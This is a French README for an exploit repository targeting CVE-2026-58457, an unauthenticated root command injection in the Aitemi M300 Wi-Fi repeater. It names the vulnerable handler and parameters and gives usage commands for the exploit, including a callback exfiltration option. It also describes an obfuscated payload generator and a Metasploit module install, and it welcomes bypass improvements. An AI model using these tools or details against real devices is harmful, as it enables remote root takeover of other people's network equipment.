CVE-2026-58457 - Injection de commandes système non authentifiée dans le répéteur Wi-Fi Shenzhen Aitemi M300

[!WARNING] Ce code est fourni EN L'ÉTAT à des fins éducatives et de recherche uniquement. N'utilisez pas ce PoC sur des systèmes de production, des environnements partagés ou des cibles non autorisées.

• L'exécution ou l'hébergement de ce code peut déclencher des détections antivirus, des alertes de surveillance de sécurité ou des conséquences juridiques en cas de mauvaise utilisation.
• Les auteurs et les responsables du dépôt déclinent toute responsabilité en cas de dommage, de mauvaise utilisation ou d'activité illégale résultant de ce code.
• À utiliser exclusivement dans des environnements de laboratoire isolés avec une autorisation appropriée. Destiné uniquement à la recherche défensive, à l'analyse des vulnérabilités et aux tests de l'équipe bleue.

Résumé de la vulnérabilité

Une vulnérabilité d'injection de commandes système non authentifiée existe dans le gestionnaire smacfilter_conf. Les paramètres GET name, enable et mac sont transmis sans assainissement à un appel sprintf() qui construit des commandes UCI exécutées en root.

• Gravité : Critique (CVSS 9.8)
• Impact : Exécution de commandes à distance en root sans authentification requise

Outils inclus

• poc.py - Exploit complet avec prise en charge HTTPS, nouvelles tentatives, délai d'attente et exfiltration par callback.
• val.py - Validateur de vulnérabilité sûr et passif (utilise la commande id inoffensive).
• gen.py - Générateur de payloads avancé avec plusieurs techniques d'obfuscation.
• MITIGATIONS.md - Mesures défensives recommandées.
• Module Metasploit - Disponible dans le répertoire exploit/.

Installation

pip install requests

Utilisation rapide

1. Valider (sûr)

python3 val.py --target 192.168.1.100

2. Exploiter (tests autorisés uniquement)

python3 poc.py --target 192.168.1.100 --cmd "id"
python3 poc.py --target 192.168.1.100 --cmd "id" --callback http://your-ip:8080/

3. Générer des payloads obfusqués

python3 gen.py -c "id" -n 10

Metasploit

1. Déplacer le module

cp ./aitemi_m300_smacfilter_rce.rb ~/.msf4/modules/exploits/linux/http/
# or the main MSF path: /usr/share/metasploit-framework/modules/exploits/linux/http/

2. Tout recharger

msfconsole -q -x "reload_all"

Références

• CVE-2026-58457
• Avis VulnCheck
• Divulgation GitHub

Les étoiles et les contributions sont les bienvenues - en particulier les améliorations des contournements ou des variantes de firmware supplémentaires.